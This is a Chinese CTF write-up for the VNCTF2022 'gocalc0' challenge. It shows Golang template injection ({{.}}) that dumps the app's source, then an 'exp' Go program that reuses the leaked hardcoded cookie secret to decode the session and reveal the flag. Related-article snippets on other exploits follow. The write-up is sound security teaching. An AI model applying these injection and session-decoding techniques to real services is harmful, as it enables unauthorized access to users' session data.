<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    [VNCTF2022]gocalc0復現

    VSole2022-05-07 16:02:38

    這道題當時出了非預期,session兩次base64就能getflag,但是這道題本身的考點是Golang SSTI,正好復盤學習一下。

    打開題目能看到經典計算器。

    點開flag在這里發現只有短短一行提示

    flag is in your session
    

    這里按照非預期接還是能夠拿到flag。

    但是我們要看一下具體按照預期方法怎么能拿到flag。

    https://www.jianshu.com/p/e0ffb76ba7e9

    這里我們通過{{.}}查看一下作用域。

     

    整理一下,就能夠看到整個calc的源碼。

    package main import (    _ "embed"    "fmt"    "os"    "reflect"    "strings"    "text/template"     "github.com/gin-contrib/sessions"    "github.com/gin-contrib/sessions/cookie"    "github.com/gin-gonic/gin"    "github.com/maja42/goval") var tpl string //go:embed main.govar source string type Eval struct {    E string `json:"e" form:"e" binding:"required"`} func (e Eval) Result() (string, error) {    eval := goval.NewEvaluator()    result, err := eval.Evaluate(e.E, nil, nil)    if err != nil {        return "", err    }    t := reflect.ValueOf(result).Type().Kind()     if t == reflect.Int {        return fmt.Sprintf("%d", result.(int)), nil    } else if t == reflect.String {        return result.(string), nil    } else {        return "", fmt.Errorf("not valid type")    }} func (e Eval) String() string {    res, err := e.Result()    if err != nil {        fmt.Println(err)        res = "invalid"    }    return fmt.Sprintf("%s = %s", e.E, res)} func render(c *gin.Context) {    session := sessions.Default(c)     var his string     if session.Get("history") == nil {        his = ""    } else {        his = session.Get("history").(string)    }     fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))    t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))    if err != nil {        fmt.Println(err)        c.String(500, "internal error")        return    }    if err := t.Execute(c.Writer, map[string]string{        "s0uR3e": source,    }); err != nil {        fmt.Println(err)    }}func main() {    port := os.Getenv("PORT")    if port == "" {        port = "8080"    }    r := gin.Default()    store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))    r.Use(sessions.Sessions("session", store))    r.GET("/", func(c *gin.Context) {        render(c)    })    r.GET("/flag", func(c *gin.Context) {        session := sessions.Default(c)        session.Set("FLAG", os.Getenv("FLAG"))        session.Save()        c.String(200, "flag is in your session")    })     r.POST("/", func(c *gin.Context) {        session := sessions.Default(c)         var his string         if session.Get("history") == nil {            his = ""        } else {            his = session.Get("history").(string)        }        eval := Eval{}        if err := c.ShouldBind(&eval); err == nil {            his = his + eval.String() + "
    "        }        session.Set("history", his)        session.Save()        render(c)    })    r.Run(fmt.Sprintf(":%s", port))}
    

    這里有很多東西,我們可以進行一下刪減整理(對我們getflag沒什么用處),提取出我們想要的東西。

    package main import (    _ "embed"    "github.com/gin-contrib/sessions"    "github.com/gin-contrib/sessions/cookie"    "github.com/gin-gonic/gin"    "os") func main() {    port := os.Getenv("PORT")    if port == "" {        port = "8888" //這個port可以自己指定奧    }    r := gin.Default()    store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))    r.Use(sessions.Sessions("session", store))    r.GET("/flag", func(c *gin.Context) {        session := sessions.Default(c)        c.String(200, session.Get("FLAG").(string))    })    r.Run(":8888")}
    

    注意下這里:

    store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
    

    這里是創建基于cookie的存儲引擎,woW_you-g0t_sourcE_co6e參數是用于加密的密鑰。

     然后是這里:

    c.String(200, session.Get("FLAG").(string))
    

    session.Get("FLAG")這里是gin框架中的讀取session,而他指定了FLAG這個key(session是鍵值對格式數據,因此需要通過key查詢數據),所以我們可以嘗試本地起這個gin框架,修改一下代碼,并且把題目中的session傳入cookie,看看他最終會輸出什么。

    exp:

    package mainimport (    _ "embed"    "fmt"    "github.com/gin-contrib/sessions"    "github.com/gin-contrib/sessions/cookie"    "github.com/gin-gonic/gin"    "os")func main() {    port := os.Getenv("PORT")    if port == "" {        port = "8888" //這個port可以自己指定奧    }    r := gin.Default()    store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))    r.Use(sessions.Sessions("session", store))    r.GET("/flag", func(c *gin.Context) {        session := sessions.Default(c)        b := session.Get("FLAG")        fmt.Println(b)    })    r.Run(":8888")}
    

    結果如下:

    成功解密出flag。

    但是這里有個問題。

    c.String(200, session.Get("FLAG").(string))
    

    筆者在寫exp的時候,對String()產生了疑惑(我的Golang水平停留在Hello world水平),如果exp這樣寫他會直接輸出在界面上。

    r.GET("/flag", func(c *gin.Context) {    session := sessions.Default(c)    c.String(200, session.Get("FLAG").(string))})
    

    出于好奇,我跟進了一下。

    這里給了注釋,我蹩腳的翻譯一下

    String()會把給定的字符串寫入響應體中
    

    跟進Render。

    Render() 寫入響應頭并調用render。并且渲染出來
    

    這里就明了了,shit我根本不用改代碼啊!!!直接讓他渲染出來就好了!!

    so,我們驗證一下:

    package main import (    _ "embed"    "github.com/gin-contrib/sessions"    "github.com/gin-contrib/sessions/cookie"    "github.com/gin-gonic/gin"    "os") func main() {    port := os.Getenv("PORT")    if port == "" {        port = "8888" //這個port可以自己指定奧    }    r := gin.Default()    store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))    r.Use(sessions.Sessions("session", store))    r.GET("/flag", func(c *gin.Context) {        session := sessions.Default(c)        c.String(200, session.Get("FLAG").(string))        c.String(200, "This is H3h3QAQ")    })    r.Run(":8888")}
    

    結果如下:

     又是學到了新知識的一天!

    string
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    如果你不是 Java8 的釘子戶,你應該早就發現了:String 類的源碼已經由 char[] 優化為了 byte[] 來存儲字符串內容,為什么要這樣做呢? 開門見山地說,從 char[] 到 byte[],最主要的目的是為了節省字符串占用的內存 。內存占用減少帶來的另外一個好處,就是 GC 次數也會減少。
    Adobe已經發布了一個名為Stringlifier的開源工具,該工具允許用戶識別任何純文本中隨機生成的字符串,該工具可用于清理日志。Stringlifier工具是用Python編寫的,它使用機器學習來識別插入普通文本中的隨機字符序列。開源工具可用于出于多種目的分析日志,例如研究意外暴露的憑證。Stringlifier能夠在源代碼或配置文件中查找API密鑰,哈希,隨機生成的字符串,包括密碼,日志。Adobe在Github上發布的描述中寫道。
    介紹Runtime 是一系列采用 C++ 語言編寫的功能方法,它實現了大量 JavaScript 運行期間需要的 native 功能。本文分析 Runtime_StringToArray 方法的源碼和重要數據結構,講解 Runtime_StringToArray 方法的觸發條件。
    介紹Runtime 是一系列采用 C++ 語言編寫的功能方法,它實現了大量 JavaScript 運行期間需要的 native 功能。
    通過common-collection相關gadget,想辦法調用org.mozilla.classfile.DefiningClassLoader這個類去加載字節碼。然后通過T3協議的反序列化漏洞發送給待攻擊weblogic服務器。
    舉個例子:但是對于64位的來說 ROPgadget預設的長度是不夠的。所以,我們可以使用ROPgadget --binary ./b --depth 100來加深他的搜索深度。2利用_libc_csu_init制造ROP常規方法我們前面說的利用ROPgadget來尋找,大多都是找到直接設置某個寄存器的rop,當然也可以使用--ropchain這個參數。
    一般情況下類與類之間是相互獨立的,內部類的意思就是打破這種獨立思想,讓一個類成為另一個類的內部信息,和成員變量、成員方法同等級別。「內部類的好處:」把一個類寫在外面和寫在里面最終達到的結果都一樣,那我們為什么還要使用內部類,豈不是多此一舉嗎?
    當被問及網絡間諜是否成功時,愛德華·斯金格表示,他非常有信心地確信,除了國防學院本身,沒有任何其他危害行為。斯金格接受采訪時透露,本次攻擊看起來不像是一次暴力攻擊,但有代價。國防學院立即意識到它可能已成為敵對國家在灰色地帶式網絡攻擊中的目標的可能性。官方迅速采取了行動,對更廣泛的國防部IT網絡沒有影響。
    java安全-02RMI
    2022-03-25 15:35:13
    基礎知識動態代理反射攻擊方式注冊端攻擊服務端java -cp .\ysoserial-master-8eb5
    MISC中常用python腳本
    2021-09-20 20:26:46
    MISC中常用python腳本總結
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类